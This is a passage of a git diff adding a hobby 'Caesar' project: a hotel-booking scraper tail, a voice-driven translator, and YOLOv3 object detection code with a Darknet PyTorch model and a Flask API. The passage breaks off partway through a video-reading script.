+        json.dump({f"{city.lower()}_bookings":filtered},f)
+    print(f"less than {range} stored")
+    
+def store_whole_booking(city,num_of_pages):
+    overall_booking_info = []
+    print(f"Extracting flight data for {city}...")
+    for i in tqdm(range(1,num_of_pages+1)):
+        params = {
+        "city":city,
+        "checkin_date":"2023-8-01",
+        "checkout_date":"2023-8-08",
+        "purpose":"work",
+        "num_of_adults":10,
+        "num_of_rooms":5,
+        "num_of_children":0,
+        "page_num":i
+        }
+        url = CaesarHotelBooking.create_url(**params)
+        bookinginfo = CaesarHotelBooking.caesar_get_hotel_info(url)
+        overall_booking_info.append(bookinginfo)
+    full_bookings = list(itertools.chain(*overall_booking_info))
+    with open(f"{city.lower()}_bookings.json","w+") as f:
+        json.dump({f"{city.lower()}_bookings":full_bookings},f)
+    print(full_bookings)
+    print(len(full_bookings))
+def main():
+    # TODO Check out Expedia...
+    try:
+        city = sys.argv[1]
+        max_amount = float(sys.argv[2]) # 3000
+    except IndexError as iex:
+        print("python caesarhotelbooking.py <city_to_book>")
+    num_of_pages = 10
+    store_whole_booking(city,num_of_pages)
+
+    store_lower_than_3000(city,max_amount)
+
+if __name__ == "__main__":
+    main()
+

CaesarLangTranslate/caesarlangtranslate.py

@@ -0,0 +1,73 @@
+from googletrans import Translator, constants
+from pprint import pprint
+#import library
+import warnings
+#from gtts import gTTS
+import os
+
+import time
+import pyttsx3
+warnings.filterwarnings("ignore")
+import os
+os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' 
+import speech_recognition as sr
+class CaesarLangTranslate:
+    def __init__(self) -> None:
+        self.translator = Translator()
+    @classmethod
+    def all_languages():
+        print("Total supported languages:", len(constants.LANGUAGES))
+        print("Languages:")
+        pprint(constants.LANGUAGES)
+    def translate(self,text,src="fr",lang="en",verbose=False):
+        translation = self.translator.translate(text,src=src,dest=lang)
+        print(f"{translation.origin} ({translation.src}) --> {translation.text} ({translation.dest})")
+        if verbose == True:
+            pprint(translation.extra_data)
+        return translation.origin,translation.text,translation.dest
+
+# Initialize recognizer class (for recognizing the speech)
+engine=pyttsx3.init('sapi5')
+voices=engine.getProperty('voices')
+engine.setProperty('voice',voices[1].id)
+recognizer = sr.Recognizer()
+
+def speak(text,whisper_mode=None):
+    if whisper_mode == 0:
+        engine.say(text)
+        engine.runAndWait()
+
+def caesar_recognition(language="en-US"):
+    r = sr.Recognizer()
+    with sr.Microphone() as source:
+        recognizer.adjust_for_ambient_noise(source,duration=1)
+        audio = r.listen(source)
+        said = ""
+
+        try:
+            said = r.recognize_google(audio,language=language)
+            print(said)
+        except Exception as e:
+            print("Exception: " + str(e))
+
+    return said.lower()
+WAKE = "hello caesar"
+while True:
+    print("Listening")
+    text = caesar_recognition()
+
+    if WAKE in text:
+        print("How can I help you sir?")
+        speak("How can I help you sir?",0)
+        text = caesar_recognition()
+        TRANSLATION_MODE = "translate"
+        if TRANSLATION_MODE in text:
+            print("What is your translation?")
+            speak("What is your translation?",0)
+            text = caesar_recognition(language="fr-FR")
+            caesarlangtranslate = CaesarLangTranslate()
+            tranlationinfo = caesarlangtranslate.translate(text)
+            print(tranlationinfo)
+            speak(tranlationinfo[1],0)
+        else:
+            print(text)

CaesarObjectDetection/CaesarYolo.py

@@ -0,0 +1,192 @@
+import cv2
+import numpy as np
+import os
+import time
+import ffmpeg
+
+
+class CaesarYolo:
+    def __init__(self) -> None:
+        self.CONFIDENCE = 0.5
+        self.SCORE_THRESHOLD = 0.5
+        self.IOU_THRESHOLD = 0.5
+        self.current_dir = os.path.realpath(__file__).replace(f"/CaesarYolo.py","")
+        config_path = f"{self.current_dir}/cfg/yolov3.cfg"
+        weights_path = f"{self.current_dir}/weights/yolov3.weights"
+        self.font_scale = 1
+        self.thickness = 1
+        self.LABELS = open(f"{self.current_dir}/data/coco.names").read().strip().split("\n")
+        self.COLORS = np.random.randint(0, 255, size=(len(self.LABELS), 3), dtype="uint8")
+
+        self.net = cv2.dnn.readNetFromDarknet(config_path, weights_path)
+
+        self.ln = self.net.getLayerNames()
+        try:
+            self.ln = [self.ln[i[0] - 1] for i in self.net.getUnconnectedOutLayers()]
+        except IndexError:
+            # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available
+            self.ln = [self.ln[i - 1] for i in self.net.getUnconnectedOutLayers()]
+    @staticmethod
+    def compress_video(video_full_path, output_file_name, target_size):
+        # Reference: https://en.wikipedia.org/wiki/Bit_rate#Encoding_bit_rate
+        min_audio_bitrate = 32000
+        max_audio_bitrate = 256000
+
+        probe = ffmpeg.probe(video_full_path)
+        # Video duration, in s.
+        duration = float(probe['format']['duration'])
+        # Audio bitrate, in bps.
+        audio_bitrate = float(next((s for s in probe['streams'] if s['codec_type'] == 'audio'), None)['bit_rate'])
+        # Target total bitrate, in bps.
+        target_total_bitrate = (target_size * 1024 * 8) / (1.073741824 * duration)
+
+        # Target audio bitrate, in bps
+        if 10 * audio_bitrate > target_total_bitrate:
+            audio_bitrate = target_total_bitrate / 10
+            if audio_bitrate < min_audio_bitrate < target_total_bitrate:
+                audio_bitrate = min_audio_bitrate
+            elif audio_bitrate > max_audio_bitrate:
+                audio_bitrate = max_audio_bitrate
+        # Target video bitrate, in bps.
+        video_bitrate = target_total_bitrate - audio_bitrate
+
+        i = ffmpeg.input(video_full_path)
+        ffmpeg.output(i, os.devnull,
+                    **{'c:v': 'libx264', 'b:v': video_bitrate, 'pass': 1, 'f': 'mp4'}
+                    ).overwrite_output().run()
+        ffmpeg.output(i, output_file_name,
+                    **{'c:v': 'libx264', 'b:v': video_bitrate, 'pass': 2, 'c:a': 'aac', 'b:a': audio_bitrate}
+                    ).overwrite_output().run()
+
+
+    def video_load(self,videofile):
+        self.video_file = f"{ self.current_dir}/{videofile}"
+        if self.video_file:
+            self.cap = cv2.VideoCapture(self.video_file)
+            _, image = self.cap.read()
+            h, w = image.shape[:2]
+            fourcc = cv2.VideoWriter_fourcc(*"XVID")
+            frames = self.cap.get(cv2.CAP_PROP_FRAME_COUNT)
+            fps = self.cap.get(cv2.CAP_PROP_FPS)
+            
+            # calculate duration of the video
+            self.duration_seconds = round(frames / fps)
+            self.out = cv2.VideoWriter(f"{self.current_dir}/output.avi", fourcc, 20.0, (w, h))
+            self.overall_time_taken = []
+    def caesar_object_detect(self,image,verbose=False):
+        if self.video_file and image is "video":
+            _,image = self.cap.read()
+        try:
+            h, w = image.shape[:2]
+        except AttributeError as aex:
+            return None,None,None
+        blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False)
+        self.net.setInput(blob)
+        start = time.perf_counter()
+        layer_outputs = self.net.forward(self.ln)
+        time_took = time.perf_counter() - start
+        if verbose == True:
+            print("Time took:", time_took)
+        if self.video_file:
+            self.overall_time_taken.append(time_took)
+            time_elapsed = round(sum(self.overall_time_taken),3)
+            approx_finish = self.duration_seconds *4.6 # seconds
+        boxes, confidences, class_ids = [], [], []
+
+        # loop over each of the layer outputs
+        for output in layer_outputs:
+            # loop over each of the object detections
+            for detection in output:
+                # extract the class id (label) and confidence (as a probability) of
+                # the current object detection
+                scores = detection[5:]
+                class_id = np.argmax(scores)
+                confidence = scores[class_id]
+                # discard weak predictions by ensuring the detected
+                # probability is greater than the minimum probability
+                if confidence > self.CONFIDENCE:
+                    # scale the bounding box coordinates back relative to the
+                    # size of the image, keeping in mind that YOLO actually
+                    # returns the center (x, y)-coordinates of the bounding
+                    # box followed by the boxes' width and height
+                    box = detection[:4] * np.array([w, h, w, h])
+                    (centerX, centerY, width, height) = box.astype("int")
+
+                    # use the center (x, y)-coordinates to derive the top and
+                    # and left corner of the bounding box
+                    x = int(centerX - (width / 2))
+                    y = int(centerY - (height / 2))
+
+                    # update our list of bounding box coordinates, confidences,
+                    # and class IDs
+                    boxes.append([x, y, int(width), int(height)])
+                    confidences.append(float(confidence))
+                    class_ids.append(class_id)
+
+        # perform the non maximum suppression given the scores defined before
+        idxs = cv2.dnn.NMSBoxes(boxes, confidences, self.SCORE_THRESHOLD, self.IOU_THRESHOLD)
+
+        self.font_scale = 1
+        self.thickness = 1
+
+        # ensure at least one detection exists
+        if len(idxs) > 0:
+            # loop over the indexes we are keeping
+            for i in idxs.flatten():
+                # extract the bounding box coordinates
+                x, y = boxes[i][0], boxes[i][1]
+                w, h = boxes[i][2], boxes[i][3]
+                # draw a bounding box rectangle and label on the image
+
+                color = [int(c) for c in self.COLORS[class_ids[i]]]
+                cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=self.thickness)
+                text = f"{self.LABELS[class_ids[i]]}: {confidences[i]:.2f}"
+                # calculate text width & height to draw the transparent boxes as background of the text
+                (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=self.font_scale, thickness=self.thickness)[0]
+                text_offset_x = x
+                text_offset_y = y - 5
+                box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+                overlay = image.copy()
+                cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+                # add opacity (transparency to the box)
+                image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+                # now put the text (label: confidence %)
+                cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX,
+                    fontScale=self.font_scale, color=(0, 0, 0), thickness=self.thickness)
+        if self.video_file:
+            self.out.write(image)
+            return image,time_elapsed,approx_finish
+        elif not self.video_file:
+            return image,0,0
+
+if __name__ == "__main__":
+    def test():
+        caesaryolo = CaesarYolo()
+        caesaryolo.video_load("car-detection.mp4")
+        while True:
+            image,time_elapsed,end_time = caesaryolo.caesar_object_detect("video")
+            if image is not None:
+                print(round(time_elapsed,3),"out of",end_time)
+                cv2.imshow("image", image)
+            
+                if ord("q") == cv2.waitKey(1):
+                    break
+            else:
+                break
+
+
+        caesaryolo.cap.release()
+        cv2.destroyAllWindows()
+    def convert_avi_to_mp4(avi_file_path, output_name):
+        os.system(f"ffmpeg -y -i {avi_file_path} {output_name}") 
+        return True
+
+    CURRENT_DIR = os.path.realpath(__file__).replace(f"/CaesarYolo.py","")
+    #convert_avi_to_mp4(,)
+    import subprocess
+
+    #process = subprocess.Popen(ffmpeg_command, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, bufsize = -1)
+
+
+
+

CaesarObjectDetection/README.md

@@ -0,0 +1,20 @@
+# [How to Perform YOLO Object Detection using OpenCV and PyTorch in Python](https://www.thepythoncode.com/article/yolo-object-detection-with-opencv-and-pytorch-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Download the [model weights](https://pjreddie.com/media/files/yolov3.weights) and put them in `weights` folder.
+- To generate a object detection image on `images/dog.jpg`:
+    ```
+    python yolo_opencv.py images/dog.jpg
+    ```
+    A new image `dog_yolo3.jpg` will appear which has the bounding boxes of different objects in the image.
+- For live object detection:
+    ```
+    python live_yolo_opencv.py
+    ```
+- If you want to read from a video file and make predictions:
+    ```
+    python read_video.py video.avi
+    ```
+    This will start detecting objects in that video, in the end, it'll save the resulting video to `output.avi`
+- If you wish to use PyTorch for GPU acceleration, please install PyTorch CUDA [here](https://pytorch.org/get-started) and use `yolo.py` file.
+- Feel free to edit the codes for your needs!

CaesarObjectDetection/app.py

@@ -0,0 +1,42 @@
+from flask import Flask,request
+from flask_cors import cross_origin
+from flask_socketio import SocketIO,send,emit
+from CaesarYolo import CaesarYolo
+import numpy as np
+import base64
+caesaryolo = CaesarYolo()
+app = Flask(__name__)
+app.config['SECRET_KEY'] = 'secret!'
+socketio = SocketIO(app)
+
+
+@app.route("/",methods=["GET"])
+@cross_origin()
+def caesaraihome():
+    return "Welcome to CaesarAI's API's and CaesarAINL."
+@app.route("/caesarobjectdetect",methods=["POST"])
+def caesarobjectdetect():
+    frames = request.get_json()
+    #print(frames)
+    
+    image = caesaryolo.caesar_object_detect(np.frombuffer(base64.b64decode(frames["frame"]),dtype="uint8").reshape(480,640,3))#base64.b64decode(frames["frame"]))
+    return {'frame': base64.b64encode(image).decode()}
+
+@socketio.on('message')
+def message(data):
+    print(data)  # {'from': 'client'}
+    emit('response', {'from': 'server'})
+
+@socketio.on('man')
+def message(data):
+    print(data)  # {'from': 'client'}
+    emit('response', {'from': 'server man'})
+@socketio.on('caesarobjectdetect')
+def caesarobjectdetect(image):
+    image = caesaryolo.caesar_object_detect(np.array(image["frame"]))
+    emit('caesarobjectresponse',  {'frame': str(image)})
+
+if __name__ == "__main__":
+    #port = int(os.environ.get('PORT', 5000)) # 80
+    app.run(debug=True,host="0.0.0.0",port=5000) 
+    #socketio.run(app,debug=True,host="0.0.0.0",port=5000) 

CaesarObjectDetection/cfg/yolov3.cfg

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:39498ec1475dbe57b0308c272d0ce8bd4f3434f70b4a06f59e8a5d6194afdfc6
+size 8342

CaesarObjectDetection/darknet.py

@@ -0,0 +1,463 @@
+import torch
+import torch.nn as nn
+import numpy as np
+
+# let us run this cell only if CUDA is available
+# We will use ``torch.device`` objects to move tensors in and out of GPU
+if torch.cuda.is_available():
+    x = torch.randn(1)
+    device = torch.device("cuda")          # a CUDA device object
+    y = torch.ones_like(x, device=device)  # directly create a tensor on GPU
+    x = x.to(device)                       # or just use strings ``.to("cuda")``
+    z = x + y
+    print(z)
+    print(z.to("cpu", torch.double))       # ``.to`` can also change dtype together!
+
+
+class YoloLayer(nn.Module):
+    def __init__(self, anchor_mask=[], num_classes=0, anchors=[], num_anchors=1):
+        super(YoloLayer, self).__init__()
+        self.anchor_mask = anchor_mask
+        self.num_classes = num_classes
+        self.anchors = anchors
+        self.num_anchors = num_anchors
+        self.anchor_step = len(anchors)/num_anchors
+        self.coord_scale = 1
+        self.noobject_scale = 1
+        self.object_scale = 5
+        self.class_scale = 1
+        self.thresh = 0.6
+        self.stride = 32
+        self.seen = 0
+
+    def forward(self, output, nms_thresh):
+        self.thresh = nms_thresh
+        masked_anchors = []
+            
+        for m in self.anchor_mask:
+            masked_anchors += self.anchors[m*self.anchor_step:(m+1)*self.anchor_step]
+                
+        masked_anchors = [anchor/self.stride for anchor in masked_anchors]
+        boxes = get_region_boxes(output.data, self.thresh, self.num_classes, masked_anchors, len(self.anchor_mask))
+            
+        return boxes
+
+    
+class Upsample(nn.Module):
+    def __init__(self, stride=2):
+        super(Upsample, self).__init__()
+        self.stride = stride
+    def forward(self, x):
+        stride = self.stride
+        assert(x.data.dim() == 4)
+        B = x.data.size(0)
+        C = x.data.size(1)
+        H = x.data.size(2)
+        W = x.data.size(3)
+        ws = stride
+        hs = stride
+        x = x.view(B, C, H, 1, W, 1).expand(B, C, H, stride, W, stride).contiguous().view(B, C, H*stride, W*stride)
+        return x
+
+
+#for route and shortcut
+class EmptyModule(nn.Module):
+    def __init__(self):
+        super(EmptyModule, self).__init__()
+
+    def forward(self, x):
+        return x
+
+# support route shortcut
+class Darknet(nn.Module):
+    def __init__(self, cfgfile):
+        super(Darknet, self).__init__()
+        self.blocks = parse_cfg(cfgfile)
+        self.models = self.create_network(self.blocks) # merge conv, bn,leaky
+        self.loss = self.models[len(self.models)-1]
+
+        self.width = int(self.blocks[0]['width'])
+        self.height = int(self.blocks[0]['height'])
+
+        self.header = torch.IntTensor([0,0,0,0])
+        self.seen = 0
+
+    def forward(self, x, nms_thresh):            
+        ind = -2
+        self.loss = None
+        outputs = dict()
+        out_boxes = []
+        
+        for block in self.blocks:
+            ind = ind + 1
+            if block['type'] == 'net':
+                continue
+            elif block['type'] in ['convolutional', 'upsample']: 
+                x = self.models[ind](x)
+                outputs[ind] = x
+            elif block['type'] == 'route':
+                layers = block['layers'].split(',')
+                layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers]
+                if len(layers) == 1:
+                    x = outputs[layers[0]]
+                    outputs[ind] = x
+                elif len(layers) == 2:
+                    x1 = outputs[layers[0]]
+                    x2 = outputs[layers[1]]
+                    x = torch.cat((x1,x2),1)
+                    outputs[ind] = x
+            elif block['type'] == 'shortcut':
+                from_layer = int(block['from'])
+                activation = block['activation']
+                from_layer = from_layer if from_layer > 0 else from_layer + ind
+                x1 = outputs[from_layer]
+                x2 = outputs[ind-1]
+                x  = x1 + x2
+                outputs[ind] = x
+            elif block['type'] == 'yolo':
+                boxes = self.models[ind](x, nms_thresh)
+                out_boxes.append(boxes)
+            else:
+                print('unknown type %s' % (block['type']))
+            
+        return out_boxes
+    
+
+    def print_network(self):
+        print_cfg(self.blocks)
+
+    def create_network(self, blocks):
+        models = nn.ModuleList()
+    
+        prev_filters = 3
+        out_filters =[]
+        prev_stride = 1
+        out_strides = []
+        conv_id = 0
+        for block in blocks:
+            if block['type'] == 'net':
+                prev_filters = int(block['channels'])
+                continue
+            elif block['type'] == 'convolutional':
+                conv_id = conv_id + 1
+                batch_normalize = int(block['batch_normalize'])
+                filters = int(block['filters'])
+                kernel_size = int(block['size'])
+                stride = int(block['stride'])
+                is_pad = int(block['pad'])
+                pad = (kernel_size-1)//2 if is_pad else 0
+                activation = block['activation']
+                model = nn.Sequential()
+                if batch_normalize:
+                    model.add_module('conv{0}'.format(conv_id), nn.Conv2d(prev_filters, filters, kernel_size, stride, pad, bias=False))
+                    model.add_module('bn{0}'.format(conv_id), nn.BatchNorm2d(filters))
+                else:
+                    model.add_module('conv{0}'.format(conv_id), nn.Conv2d(prev_filters, filters, kernel_size, stride, pad))
+                if activation == 'leaky':
+                    model.add_module('leaky{0}'.format(conv_id), nn.LeakyReLU(0.1, inplace=True))
+                prev_filters = filters
+                out_filters.append(prev_filters)
+                prev_stride = stride * prev_stride
+                out_strides.append(prev_stride)
+                models.append(model)
+            elif block['type'] == 'upsample':
+                stride = int(block['stride'])
+                out_filters.append(prev_filters)
+                prev_stride = prev_stride // stride
+                out_strides.append(prev_stride)
+                models.append(Upsample(stride))
+            elif block['type'] == 'route':
+                layers = block['layers'].split(',')
+                ind = len(models)
+                layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers]
+                if len(layers) == 1:
+                    prev_filters = out_filters[layers[0]]
+                    prev_stride = out_strides[layers[0]]
+                elif len(layers) == 2:
+                    assert(layers[0] == ind - 1)
+                    prev_filters = out_filters[layers[0]] + out_filters[layers[1]]
+                    prev_stride = out_strides[layers[0]]
+                out_filters.append(prev_filters)
+                out_strides.append(prev_stride)
+                models.append(EmptyModule())
+            elif block['type'] == 'shortcut':
+                ind = len(models)
+                prev_filters = out_filters[ind-1]
+                out_filters.append(prev_filters)
+                prev_stride = out_strides[ind-1]
+                out_strides.append(prev_stride)
+                models.append(EmptyModule())
+            elif block['type'] == 'yolo':
+                yolo_layer = YoloLayer()
+                anchors = block['anchors'].split(',')
+                anchor_mask = block['mask'].split(',')
+                yolo_layer.anchor_mask = [int(i) for i in anchor_mask]
+                yolo_layer.anchors = [float(i) for i in anchors]
+                yolo_layer.num_classes = int(block['classes'])
+                yolo_layer.num_anchors = int(block['num'])
+                yolo_layer.anchor_step = len(yolo_layer.anchors)//yolo_layer.num_anchors
+                yolo_layer.stride = prev_stride
+                out_filters.append(prev_filters)
+                out_strides.append(prev_stride)
+                models.append(yolo_layer)
+            else:
+                print('unknown type %s' % (block['type']))
+    
+        return models
+
+    def load_weights(self, weightfile):
+        print()
+        fp = open(weightfile, 'rb')
+        header = np.fromfile(fp, count=5, dtype=np.int32)
+        self.header = torch.from_numpy(header)
+        self.seen = self.header[3]
+        buf = np.fromfile(fp, dtype = np.float32)
+        fp.close()
+
+        start = 0
+        ind = -2
+        counter = 3
+        for block in self.blocks:
+            if start >= buf.size:
+                break
+            ind = ind + 1
+            if block['type'] == 'net':
+                continue
+            elif block['type'] == 'convolutional':
+                model = self.models[ind]
+                batch_normalize = int(block['batch_normalize'])
+                if batch_normalize:
+                    start = load_conv_bn(buf, start, model[0], model[1])
+                else:
+                    start = load_conv(buf, start, model[0])
+            elif block['type'] == 'upsample':
+                pass
+            elif block['type'] == 'route':
+                pass
+            elif block['type'] == 'shortcut':
+                pass
+            elif block['type'] == 'yolo':
+                pass
+            else:
+                print('unknown type %s' % (block['type']))
+            
+            percent_comp = (counter / len(self.blocks)) * 100
+
+            print('Loading weights. Please Wait...{:.2f}% Complete'.format(percent_comp), end = '\r', flush = True)
+
+            counter += 1
+
+            
+            
+def convert2cpu(gpu_matrix):
+    return torch.FloatTensor(gpu_matrix.size()).copy_(gpu_matrix)
+
+
+def convert2cpu_long(gpu_matrix):
+    return torch.LongTensor(gpu_matrix.size()).copy_(gpu_matrix)
+
+
+def get_region_boxes(output, conf_thresh, num_classes, anchors, num_anchors, only_objectness = 1, validation = False):
+    anchor_step = len(anchors)//num_anchors
+    if output.dim() == 3:
+        output = output.unsqueeze(0)
+    batch = output.size(0)
+    assert(output.size(1) == (5+num_classes)*num_anchors)
+    h = output.size(2)
+    w = output.size(3)
+
+    all_boxes = []
+    output = output.view(batch*num_anchors, 5+num_classes, h*w).transpose(0,1).contiguous().view(5+num_classes, batch*num_anchors*h*w)
+
+    grid_x = torch.linspace(0, w-1, w).repeat(h,1).repeat(batch*num_anchors, 1, 1).view(batch*num_anchors*h*w).type_as(output) #cuda()
+    grid_y = torch.linspace(0, h-1, h).repeat(w,1).t().repeat(batch*num_anchors, 1, 1).view(batch*num_anchors*h*w).type_as(output) #cuda()
+    xs = torch.sigmoid(output[0]) + grid_x
+    ys = torch.sigmoid(output[1]) + grid_y
+
+    anchor_w = torch.Tensor(anchors).view(num_anchors, anchor_step).index_select(1, torch.LongTensor([0]))
+    anchor_h = torch.Tensor(anchors).view(num_anchors, anchor_step).index_select(1, torch.LongTensor([1]))
+    anchor_w = anchor_w.repeat(batch, 1).repeat(1, 1, h*w).view(batch*num_anchors*h*w).type_as(output) #cuda()
+    anchor_h = anchor_h.repeat(batch, 1).repeat(1, 1, h*w).view(batch*num_anchors*h*w).type_as(output) #cuda()
+    ws = torch.exp(output[2]) * anchor_w
+    hs = torch.exp(output[3]) * anchor_h
+
+    det_confs = torch.sigmoid(output[4])
+    cls_confs = torch.nn.Softmax(dim=1)(output[5:5+num_classes].transpose(0,1)).detach()
+    cls_max_confs, cls_max_ids = torch.max(cls_confs, 1)
+    cls_max_confs = cls_max_confs.view(-1)
+    cls_max_ids = cls_max_ids.view(-1)
+
+    
+    sz_hw = h*w
+    sz_hwa = sz_hw*num_anchors
+    det_confs = convert2cpu(det_confs)
+    cls_max_confs = convert2cpu(cls_max_confs)
+    cls_max_ids = convert2cpu_long(cls_max_ids)
+    xs = convert2cpu(xs)
+    ys = convert2cpu(ys)
+    ws = convert2cpu(ws)
+    hs = convert2cpu(hs)
+    if validation:
+        cls_confs = convert2cpu(cls_confs.view(-1, num_classes))
+
+    for b in range(batch):
+        boxes = []
+        for cy in range(h):
+            for cx in range(w):
+                for i in range(num_anchors):
+                    ind = b*sz_hwa + i*sz_hw + cy*w + cx
+                    det_conf =  det_confs[ind]
+                    if only_objectness:
+                        conf =  det_confs[ind]
+                    else:
+                        conf = det_confs[ind] * cls_max_confs[ind]
+    
+                    if conf > conf_thresh:
+                        bcx = xs[ind]
+                        bcy = ys[ind]
+                        bw = ws[ind]
+                        bh = hs[ind]
+                        cls_max_conf = cls_max_confs[ind]
+                        cls_max_id = cls_max_ids[ind]
+                        box = [bcx/w, bcy/h, bw/w, bh/h, det_conf, cls_max_conf, cls_max_id]
+                        if (not only_objectness) and validation:
+                            for c in range(num_classes):
+                                tmp_conf = cls_confs[ind][c]
+                                if c != cls_max_id and det_confs[ind]*tmp_conf > conf_thresh:
+                                    box.append(tmp_conf)
+                                    box.append(c)
+                        boxes.append(box)
+        all_boxes.append(boxes)
+
+    return all_boxes
+
+
+def parse_cfg(cfgfile):
+    blocks = []
+    fp = open(cfgfile, 'r')
+    block =  None
+    line = fp.readline()
+    while line != '':
+        line = line.rstrip()
+        if line == '' or line[0] == '#':
+            line = fp.readline()
+            continue        
+        elif line[0] == '[':
+            if block:
+                blocks.append(block)
+            block = dict()
+            block['type'] = line.lstrip('[').rstrip(']')
+            # set default value
+            if block['type'] == 'convolutional':
+                block['batch_normalize'] = 0
+        else:
+            key,value = line.split('=')
+            key = key.strip()
+            if key == 'type':
+                key = '_type'
+            value = value.strip()
+            block[key] = value
+        line = fp.readline()
+
+    if block:
+        blocks.append(block)
+    fp.close()
+    return blocks
+
+
+def print_cfg(blocks):
+    print('layer     filters    size              input                output')
+    prev_width = 416
+    prev_height = 416
+    prev_filters = 3
+    out_filters =[]
+    out_widths =[]
+    out_heights =[]
+    ind = -2
+    for block in blocks:
+        ind = ind + 1
+        if block['type'] == 'net':
+            prev_width = int(block['width'])
+            prev_height = int(block['height'])
+            continue
+        elif block['type'] == 'convolutional':
+            filters = int(block['filters'])
+            kernel_size = int(block['size'])
+            stride = int(block['stride'])
+            is_pad = int(block['pad'])
+            pad = (kernel_size-1)//2 if is_pad else 0
+            width = (prev_width + 2*pad - kernel_size)//stride + 1
+            height = (prev_height + 2*pad - kernel_size)//stride + 1
+            print('%5d %-6s %4d  %d x %d / %d   %3d x %3d x%4d   ->   %3d x %3d x%4d' % (ind, 'conv', filters, kernel_size, kernel_size, stride, prev_width, prev_height, prev_filters, width, height, filters))
+            prev_width = width
+            prev_height = height
+            prev_filters = filters
+            out_widths.append(prev_width)
+            out_heights.append(prev_height)
+            out_filters.append(prev_filters)
+        elif block['type'] == 'upsample':
+            stride = int(block['stride'])
+            filters = prev_filters
+            width = prev_width*stride
+            height = prev_height*stride
+            print('%5d %-6s           * %d   %3d x %3d x%4d   ->   %3d x %3d x%4d' % (ind, 'upsample', stride, prev_width, prev_height, prev_filters, width, height, filters))
+            prev_width = width
+            prev_height = height
+            prev_filters = filters
+            out_widths.append(prev_width)
+            out_heights.append(prev_height)
+            out_filters.append(prev_filters)
+        elif block['type'] == 'route':
+            layers = block['layers'].split(',')
+            layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers]
+            if len(layers) == 1:
+                print('%5d %-6s %d' % (ind, 'route', layers[0]))
+                prev_width = out_widths[layers[0]]
+                prev_height = out_heights[layers[0]]
+                prev_filters = out_filters[layers[0]]
+            elif len(layers) == 2:
+                print('%5d %-6s %d %d' % (ind, 'route', layers[0], layers[1]))
+                prev_width = out_widths[layers[0]]
+                prev_height = out_heights[layers[0]]
+                assert(prev_width == out_widths[layers[1]])
+                assert(prev_height == out_heights[layers[1]])
+                prev_filters = out_filters[layers[0]] + out_filters[layers[1]]
+            out_widths.append(prev_width)
+            out_heights.append(prev_height)
+            out_filters.append(prev_filters)
+        elif block['type'] in ['region', 'yolo']:
+            print('%5d %-6s' % (ind, 'detection'))
+            out_widths.append(prev_width)
+            out_heights.append(prev_height)
+            out_filters.append(prev_filters)
+        elif block['type'] == 'shortcut':
+            from_id = int(block['from'])
+            from_id = from_id if from_id > 0 else from_id+ind
+            print('%5d %-6s %d' % (ind, 'shortcut', from_id))
+            prev_width = out_widths[from_id]
+            prev_height = out_heights[from_id]
+            prev_filters = out_filters[from_id]
+            out_widths.append(prev_width)
+            out_heights.append(prev_height)
+            out_filters.append(prev_filters)
+        else:
+            print('unknown type %s' % (block['type']))
+
+            
+def load_conv(buf, start, conv_model):
+    num_w = conv_model.weight.numel()
+    num_b = conv_model.bias.numel()
+    conv_model.bias.data.copy_(torch.from_numpy(buf[start:start+num_b]));   start = start + num_b
+    conv_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_w]).view_as(conv_model.weight.data)); start = start + num_w
+    return start
+
+
+def load_conv_bn(buf, start, conv_model, bn_model):
+    num_w = conv_model.weight.numel()
+    num_b = bn_model.bias.numel()
+    bn_model.bias.data.copy_(torch.from_numpy(buf[start:start+num_b]));     start = start + num_b
+    bn_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_b]));   start = start + num_b
+    bn_model.running_mean.copy_(torch.from_numpy(buf[start:start+num_b]));  start = start + num_b
+    bn_model.running_var.copy_(torch.from_numpy(buf[start:start+num_b]));   start = start + num_b
+    conv_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_w]).view_as(conv_model.weight.data)); start = start + num_w
+    return start

CaesarObjectDetection/data/coco.names

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:634a1132eb33f8091d60f2c346ababe8b905ae08387037aed883953b7329af84
+size 625

CaesarObjectDetection/read_video.py

@@ -0,0 +1,112 @@
+import cv2
+import numpy as np
+
+import time
+import sys
+
+CONFIDENCE = 0.5
+SCORE_THRESHOLD = 0.5
+IOU_THRESHOLD = 0.5
+config_path = "cfg/yolov3.cfg"
+weights_path = "weights/yolov3.weights"
+font_scale = 1
+thickness = 1
+labels = open("data/coco.names").read().strip().split("\n")
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+net = cv2.dnn.readNetFromDarknet(config_path, weights_path)
+
+ln = net.getLayerNames()
+try:
+    ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+except IndexError:
+    # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available
+    ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()]
+# read the file from the command line
+video_file = sys.argv[1]
+cap = cv2.VideoCapture(video_file)
+_, image = cap.read()
+h, w = image.shape[:2]
+fourcc = cv2.VideoWriter_fourcc(*"XVID")
+out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h))
+while True:
+    _, image = cap.read()
+
+    h, w = image.shape[:2]
+    blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False)
+    net.setInput(blob)
+    start = time.perf_counter()
+    layer_outputs = net.forward(ln)
+    time_took = time.perf_counter() - start
+    print("Time took:", time_took)
+    boxes, confidences, class_ids = [], [], []
+
+    # loop over each of the layer outputs
+    for output in layer_outputs:
